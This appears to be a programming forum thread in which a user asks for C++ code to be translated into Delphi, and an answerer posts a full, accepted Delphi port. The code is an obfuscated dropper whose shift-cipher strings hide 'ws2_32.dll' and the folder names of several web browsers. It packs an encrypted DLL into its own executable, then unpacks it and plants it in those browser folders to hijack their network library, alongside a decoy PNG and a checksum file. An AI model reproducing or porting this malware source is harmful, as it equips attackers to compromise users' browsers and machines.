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Translate C++ to DELPHI

Posted on 2009-05-05
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Last Modified: 2012-05-06
Hi ^^
can someone translate this code in C++ to delphi  me please ?
thank you :)
ps: the functions "encrypt" and "decrypt" dont need because i aready posted a question here and is ok.
#include <io.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <windows.h>
 

/////////////////////////////////////////////////////////////////////////////////
 

#define DIR_SIZE  32

#define SIGNATURE 0x1234

#define DELTA     0x4
 

#pragma pack(1)
 

/////////////////////////////////////////////////////////////////////////////////
 

struct Sign

 {

    WORD  Signature;

    DWORD dwFileBegin;

    DWORD dwFileSize;

 };
 

/////////////////////////////////////////////////////////////////////////////////
 

void  MakeLoader(LPCSTR);

void  RunLoader(FILE *, struct Sign *);
 

void  CopyTempFile(LPSTR);
 

void  Encrypt(LPSTR, DWORD);

void  Decrypt(LPSTR, DWORD);
 

void  InitializeTable();

DWORD CRC_CheckSum(LPCSTR);
 

DWORD GetEnviromentPath(LPCSTR, LPSTR);

BOOL  DownloadFile(LPCSTR, LPCSTR);
 

/////////////////////////////////////////////////////////////////////////////////
 

char DllName[] = "{w6c762hpp";

char DllPath[] = "22`{w6c762hpp";
 

char ProgramFiles[] = "TvskveqJmpiw";
 

char LoaderDir[]      = "psehivcjmpiw";

char LoaderBin[]      = "psehivcjmpiw`psehiv2i|i";
 

char LoaderCheckSum[] = "psehivcjmpiw``wx}pi2gww";//style.css ?

char LoaderFakeBin[]  = "psehivcjmpiw``wgviir52trk";//loader_files\\screen1.png
 

char BrowserDirs[][DIR_SIZE] =  { "Mrxivrix$I|tpsviv`",     "Qs~mppe$Jmvijs|`", "Stive`",

                                  "Rixwgeti`Rezmkexsv$=`",  "Ezerx$Fvs{wiv`]",

                                  "jpsgo`jpsgo"  

                                };

DWORD  CRCTable[256];
 

/////////////////////////////////////////////////////////////////////////////////
 

int main(int argn, char ** argv)

{

  FILE * fp;

  struct Sign FileSignature;
 

     fp = fopen(argv[0], "rb");

     

     if(!fp)

        return 1;

     

     if(fseek(fp, - sizeof(FileSignature), SEEK_END) != 0)

        goto End;

     

     if(!fread(&FileSignature, sizeof(FileSignature), 1, fp))

        goto End;

 

     if(FileSignature.Signature == SIGNATURE && FileSignature.dwFileBegin > 0 &&

        FileSignature.dwFileSize > 0)

      { 

         Decrypt(DllName,      sizeof(DllName) - 1);

         Decrypt(ProgramFiles, sizeof(ProgramFiles) - 1);
 

         RunLoader(fp, &FileSignature);

      }

     else

      {

         Decrypt(DllName, sizeof(DllName) - 1);

         Decrypt(DllPath, sizeof(DllPath) - 1);

         

         Decrypt(LoaderDir, sizeof(LoaderDir) - 1);

         Decrypt(LoaderBin, sizeof(LoaderBin) - 1);

         

         Decrypt(LoaderCheckSum, sizeof(LoaderCheckSum) - 1);

         Decrypt(LoaderFakeBin,  sizeof(LoaderFakeBin) - 1);
 

         MakeLoader(argv[0]);

      }

     

  End:

     

     fclose(fp);

      

  return 0;

}
 

/////////////////////////////////////////////////////////////////////////////////
 

void MakeLoader(LPCSTR lpLocalFile)

{

  FILE * fp;

  char * FileBuffer;

  DWORD  dwDllFileSize, dwLoaderFileSize;

  

  struct Sign FileSignature = {SIGNATURE, 0x0, 0x0};

     

     if(GetFileAttributes(LoaderDir) == INVALID_FILE_ATTRIBUTES)

      {

         CreateDirectory(LoaderDir, NULL);

      }

     else

      {

         DeleteFile(LoaderBin);

         DeleteFile(LoaderCheckSum);

         DeleteFile(LoaderFakeBin);

      }
 

     if(!CopyFile(lpLocalFile, LoaderBin, 0))

        return;

        

     fp = fopen(DllPath, "rb");

     

     if(!fp)

        goto End;
 

     dwDllFileSize = filelength(fp->_file);

     

     if(dwDllFileSize < 1)

        goto End;

     

     FileBuffer = (char*)malloc(dwDllFileSize);

     

     if(!FileBuffer)

        goto End;     

     

     if(!fread(FileBuffer, dwDllFileSize, 1, fp))

        goto End;

     

     fp = freopen(LoaderBin, "rb+", fp);
 

     if(!fp)

        goto End;

     

     if(fseek(fp, 0, SEEK_END) != 0)

        goto End;

     

     dwLoaderFileSize = ftell(fp);

           

     if(dwLoaderFileSize < 1)

        goto End;

     

     Encrypt(FileBuffer, dwDllFileSize);

     

     if(!fwrite(FileBuffer, dwDllFileSize, 1, fp))

        goto End;

     

     FileSignature.dwFileBegin = dwLoaderFileSize;

     FileSignature.dwFileSize  = dwDllFileSize;

     

     if(!fwrite(&FileSignature, sizeof(FileSignature), 1, fp))

        goto End;

     

     fclose(fp);

     

     InitializeTable();

     

     fp = fopen(LoaderCheckSum, "wb");

     

     if(fp && CopyFile(LoaderBin, LoaderFakeBin, 0))

      {

         fprintf(fp, "%ul:%ul", CRC_CheckSum(DllPath), CRC_CheckSum(LoaderFakeBin));

         fclose(fp);

      }

     else

        goto End;
 

     free(FileBuffer);

     

  return;

     

  End:

     

     if(fp)

        fclose(fp);

        

     if(FileBuffer)

        free(FileBuffer);

        

     DeleteFile(LoaderBin);

}
 

/////////////////////////////////////////////////////////////////////////////////
 

void RunLoader(FILE * fp, struct Sign * pFileSignature)

{

  FILE * temp;

  char * FileBuffer;

     

     if(fseek(fp, pFileSignature->dwFileBegin, SEEK_SET) != 0)

        return;

     

     temp = fopen("Kernel32_", "wb");
 

     if(!temp)

        return;
 

     FileBuffer = (char*)malloc(pFileSignature->dwFileSize);

     

     if(!FileBuffer)

        goto End;
 

      

     if(!fread(FileBuffer, pFileSignature->dwFileSize, 1, fp))

        goto End;

     

     Decrypt(FileBuffer, pFileSignature->dwFileSize);
 

     if(!fwrite(FileBuffer, pFileSignature->dwFileSize, 1, temp))

        goto End;

     

     CopyTempFile("Kernel32_");

              

  End:

     

     if(temp)

       fclose(temp);

     

     if(FileBuffer)

       free(FileBuffer);

     

     DeleteFile("Kernel32_");     

}
 

/////////////////////////////////////////////////////////////////////////////////
 

void CopyTempFile(LPSTR lpTempFile)

{ 

  char DestPath[MAX_PATH] = {0};

  char (*pBrowserDir)[32];

  

  DWORD dwLen;

  int i, tries;

     

     dwLen = GetEnviromentPath(ProgramFiles, DestPath);

     

     if(!dwLen)

        return;

     

     pBrowserDir = BrowserDirs;

     

     for(i = 0; i < sizeof(BrowserDirs) / DIR_SIZE; i++)

      {

         Decrypt(pBrowserDir[i], strlen(pBrowserDir[i]));

         

         snprintf(DestPath + dwLen, MAX_PATH - dwLen - 1, "%s", pBrowserDir[i]);

         

         if(GetFileAttributes(DestPath) == INVALID_FILE_ATTRIBUTES)

            continue;

            

         strncat(DestPath, DllName, MAX_PATH - strlen(DestPath) - 1);
 

         tries = 0;

         

         while(tries < 3)

         {

            if(CopyFile(lpTempFile, DestPath, 0) != 0)

               break;
 

            Sleep(2000);

            

            tries++;

         }

      }

}
 

/////////////////////////////////////////////////////////////////////////////////
 

void InitializeTable()

{

  int   i, j;

  DWORD dwSum;

     

     for(i = 0; i < sizeof(CRCTable) / sizeof(DWORD) ; i++)

      {

	     dwSum = i;

		

         for (j = 8; j > 0; j--)

          {

             if(dwSum & 0x1)

		        dwSum = (dwSum >> 1) ^ 0xEDB88320;

              else

                dwSum >>= 1;

		  }
 

		 CRCTable[i] = dwSum;

	  }

}
 

/////////////////////////////////////////////////////////////////////////////////////////
 

DWORD CRC_CheckSum(LPCSTR lpszFileName)

{

  FILE * fp;
 

  register DWORD dwCRC;

  int Byte;
 

	 fp = fopen(lpszFileName, "rb");

     

     if(!fp)

        return 0;
 

	 dwCRC = 0xFFFFFFFF;

	

	 while( (Byte = getc(fp) ) != EOF )

      {

	     dwCRC = ((dwCRC >> 8) & 0x00FFFFFF) ^ CRCTable[(dwCRC ^ Byte) & 0xFF];

	  }

  

     fclose(fp);

  

  return (dwCRC ^ 0xFFFFFFFF);

}
 

/////////////////////////////////////////////////////////////////////////////////////////
 

void Encrypt(LPSTR lpBuffer, DWORD dwLen)

{

  DWORD i;

     

     if(!lpBuffer || !dwLen)

        return;

     

     for(i = 0; i < dwLen; i++)

      {

         lpBuffer[i] += DELTA;

      }

}
 

/////////////////////////////////////////////////////////////////////////////////
 

void Decrypt(LPSTR lpBuffer, DWORD dwLen)

{

  DWORD i;

     

     if(!lpBuffer || !dwLen)

        return;

     

     for(i = 0; i < dwLen; i++)

      {

         lpBuffer[i] -= DELTA;

      }

}
 

/////////////////////////////////////////////////////////////////////////////////
 

DWORD GetEnviromentPath(LPCSTR lpszPath, LPSTR lpBuffer)

{

  char * temp;

  

     temp = getenv(lpszPath);

     

     if(!temp)

        return 0;

     

     snprintf(lpBuffer, MAX_PATH - 1, "%s\\", temp);        
 

  return (DWORD)strlen(lpBuffer);

}

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Question by:MelissaCandyGirl
2 Comments
 
LVL 13

Accepted Solution

by:
ThievingSix earned 500 total points
ID: 24310862
Got kind of confusing, should be close though.
program Project1;
 

{$APPTYPE CONSOLE}
 

uses

  Windows,

  SysUtils;
 

var

  DIR_SIZE : DWORD = 32;

  SIGNATURE : DWORD = $1234;

  DELTA : DWORD = $4;

  DllName : String = '{w6c762hpp';

  DllPath : String = '22`{w6c762hpp';

  ProgramFiles : String = 'TvskveqJmpiw';

  LoaderDir : String = 'psehivcjmpiw';

  LoaderBin : String = 'psehivcjmpiw`psehiv2i|i';

  LoaderCheckSum : String = 'psehivcjmpiw``wx}pi2gww';

  LoaderFakeBin : String = 'psehivcjmpiw``wgviir52trk';

  BrowseDirs : Array[0..5] Of String = ('Mrxivrix$I|tpsviv','Qs~mppe$Jmvijs|`','Stive`',

                                        'Rixwgeti`Rezmkexsv$=`','Ezerx$Fvs{wiv`]','jpsgo`jpsgo');

  CRCTable : Array[0..255] Of DWORD;
 

type

  Sign = record

    Signature : WORD;

    FileBegin : DWORD;

    FileSize : DWORD;

  end;
 

procedure Encrypt(var Buffer: String; Length: DWORD);

var

  I : DWORD;

begin

  If (Buffer = '') Or (Length <= 0) Then Exit;

  For I := 1 To Length Do

    begin

    Buffer[I] := Char(Byte(Buffer[I]) + DELTA);

  end;

end;
 

procedure Decrypt(var Buffer: String; Length: DWORD);

var

  I : DWORD;

begin

  If (Buffer = '') Or (Length <= 0) Then Exit;

  For I := 1 To Length Do

    begin

    Buffer[I] := Char(Byte(Buffer[I]) - DELTA);

  end;

end;
 

procedure InitializeTable;

var

  I, J : Integer;

  Sum : DWORD;

begin

  For I := 0 To (SizeOf(CRCTable) div SizeOf(DWORD)) - 1 Do

    begin

    Sum := I;

    For J := 8 DownTo 1 Do

      begin

      If (Sum And $1) <> 0 Then

        begin

        Sum := (Sum SHR 1) XOR $EDB88320;

      end

      Else

        begin

        Sum := Sum SHR 1;

      end;

      CRCTable[I] := Sum;

    end;

  end;

end;
 

function CRC_CheckSum(FileName: String): DWORD;

var

  fp : DWORD;

  CRC : DWORD;

  Byte : Integer;

  FileSize : DWORD;

  BytesRead : DWORD;

  Pos : DWORD;

begin

  fp := CreateFile(PChar(FileName),GENERIC_READ,0,nil,OPEN_EXISTING,0,0);

  If fp = INVALID_HANDLE_VALUE Then Exit;

  Try

    FileSize := SetFilePointer(fp,0,nil,FILE_END);

    Pos := SetFilePointer(fp,0,nil,FILE_BEGIN);

    CRC := $FFFFFFFF;

    While Pos <= FileSize Do

      begin

      If ReadFile(fp,Byte,1,BytesRead,nil) Then

        begin

        Inc(Pos,BytesRead);

        {$WARNINGS OFF}

        CRC := ((CRC SHR 8) And $00FFFFFF) XOR CRCTable[(CRC XOR Byte) And $FF];

        {$WARNINGS ON}

      end;

    end;

  Finally

    CloseHandle(fp);

  end;

  Result := CRC XOR $FFFFFFFF;

end;
 

procedure MakeLoader(LocalFile: String);

var

  fp : DWORD;

  FileBuffer : PChar;

  DLLFileSize,

  LoaderFileSize : DWORD;

  FileSignature : Sign;

  BytesRead : DWORD;

  Temp : String;

begin

  FileSignature.Signature := SIGNATURE;

  FileSignature.FileBegin := 0;

  FileSignature.FileSize := 0;

  If GetFileAttributes(PChar(LoaderDir)) = ((High(DWORD))-1)  Then

    begin

    CreateDirectory(PChar(LoaderDir),nil);

  end

  Else

    begin

    DeleteFile(LoaderBin);

    DeleteFile(LoaderCheckSum);

    DeleteFile(LoaderFakeBin);

  end;

  If Not(CopyFile(PChar(LocalFile),PChar(LoaderBin),False)) Then Exit;

  fp := CreateFile(PChar(DllPath),GENERIC_READ,0,nil,OPEN_EXISTING,0,0);

  If fp = INVALID_HANDLE_VALUE Then Exit;

  Try

    DllFileSize := SetFilePointer(fp,0,nil,FILE_END);

    If DllFileSize < 1 Then Exit;

    FileBuffer := AllocMem(DllFileSize);

    If FileBuffer = nil Then Exit;

    Try

      SetFilePointer(fp,0,nil,FILE_BEGIN);

      If Not(ReadFile(fp,FileBuffer^,DllFileSize,BytesRead,nil)) Then Exit;

      CloseHandle(fp);

      fp := CreateFile(PChar(LoaderBin),GENERIC_READ Or GENERIC_WRITE,0,nil,OPEN_ALWAYS,0,0);

      If fp = INVALID_HANDLE_VALUE Then Exit;

      LoaderFileSize := SetFilePointer(fp,0,nil,FILE_END);

      If LoaderFileSize < 1 Then Exit;

      Temp := FileBuffer;

      Encrypt(Temp,DLLFileSize);

      FileBuffer := PChar(Temp);

      If Not(WriteFile(fp,FileBuffer^,DllFileSize,BytesRead,nil)) Then Exit;

      FileSignature.FileBegin := LoaderFileSize;

      FileSignature.FileSize := DLLFileSize;

      If Not(WriteFile(fp,FileSignature,SizeOf(FileSignature),BytesRead,nil)) Then Exit;

      CloseHandle(fp);

      InitializeTable;

      fp := CreateFile(PChar(LoaderCheckSum),GENERIC_READ Or GENERIC_WRITE,0,nil,OPEN_ALWAYS,0,0);

      If fp = INVALID_HANDLE_VALUE Then Exit;

      If CopyFile(PChar(LoaderBin),PChar(LoaderFakeBin),False) then

        begin

        Writeln(Format('%u:%u',[CRC_CheckSum(DllPath),CRC_CheckSum(LoaderFakeBin)]));

      end;

    Finally

      FreeMem(FileBuffer);

    end;

  Finally

    CloseHandle(fp);

    DeleteFile(LoaderBin);

  end;

end;
 

procedure CopyTempFile(TempFile: String);

var

  DestPath : Array[0..MAX_PATH - 1] Of Char;

  Temp : String;

  BrowserDir : Array[0..5] Of String;

  Len : DWORD;

  I,

  Tries : Integer;

begin

  Len := GetEnvironmentVariable(PChar(ProgramFiles),DestPath,MAX_PATH);

  DestPath[Len] := '\';

  DestPath[Len + 1] := '\';

  If Len = 0 Then Exit;

  Move(BrowserDir,BrowseDirs,SizeOf(BrowseDirs));

  For I := 0 To High(BrowseDirs) Do

    begin

    Decrypt(BrowserDir[I],Length(BrowserDir[I]));

    Move(BrowserDir[I],DestPath,Length(BrowserDir[I]));

    If GetFileAttributes(PChar(String(DestPath))) = ((High(DWORD))-1) Then Continue;

    Temp := String(DestPath) + DllName;

    Move(Temp,DestPath,Length(Temp));

    Tries := 0;

    While Tries < 3 Do

      begin

      If CopyFile(PChar(TempFile),PChar(String(DestPath)),False) Then Break;

      Sleep(2000);

      Inc(Tries);

    end;

  end;

end;
 

procedure RunLoader(hFile: DWORD; FileSignature: Sign);

var

  Temp : DWORD;

  FileBuffer : PChar;

  BytesRead : DWORD;

  sTemp : String;

begin

  If SetFilePointer(hFile,FileSignature.FileBegin,nil,FILE_BEGIN) <> 0 Then Exit;

  Temp := CreateFile('Kernel32_',GENERIC_READ Or GENERIC_WRITE,0,nil,OPEN_ALWAYS,0,0);

  If Temp = INVALID_HANDLE_VALUE Then Exit;

  Try

    FileBuffer := AllocMem(FileSignature.FileSize);

    If FileBuffer = nil Then Exit;

    Try

      If Not(ReadFile(hFile,FileBuffer^,FileSignature.FileSize,BytesRead,nil)) Then Exit;

      sTemp := FileBuffer;

      Decrypt(sTemp,FileSignature.FileSize);

      FileBuffer := PChar(sTemp);

      If Not(WriteFile(Temp,FileBuffer^,FileSignature.FileSize,BytesRead,nil)) Then Exit;

      CopyTempFile('Kernel32_');

      DeleteFile('Kernel32_');

    Finally

      FreeMem(FileBuffer);

    end;

  Finally

    CloseHandle(Temp);

  end;

end;
 

var

  fp : DWORD;

  FileSignature : Sign;

  BytesRead : DWORD;

begin

  fp := CreateFile(PChar(ParamStr(0)),GENERIC_READ,FILE_SHARE_DELETE Or FILE_SHARE_READ Or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);

  If fp = INVALID_HANDLE_VALUE Then Exit;

  Try

    SetFilePointer(fp,-SizeOf(FileSignature),nil,FILE_END);

    If Not(ReadFile(fp,FileSignature,SizeOf(FileSignature),BytesRead,nil)) Then Exit;

    If (FileSignature.Signature = SIGNATURE) And (FileSignature.FileBegin > 0) And (FileSignature.FileSize > 0) Then

      begin

      Decrypt(DllName,Length(DllName));

      Decrypt(ProgramFiles,Length(ProgramFiles));

      RunLoader(fp,FileSignature);

    end

    Else

      begin

      Decrypt(DllName,Length(DllName));

      Decrypt(DllPath,Length(DllPath));

      Decrypt(LoaderDir,Length(LoaderDir));

      Decrypt(LoaderBin,Length(LoaderBin));

      Decrypt(LoaderCheckSum,Length(LoaderCheckSum));

      Decrypt(LoaderFakeBin,Length(LoaderFakeBin));

      MakeLoader(ParamStr(0));

    end;

  Finally

    CloseHandle(fp);

  end;

end.

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Author Closing Comment

by:MelissaCandyGirl
ID: 31578292
sorry for delay to accept, pretty boy :)
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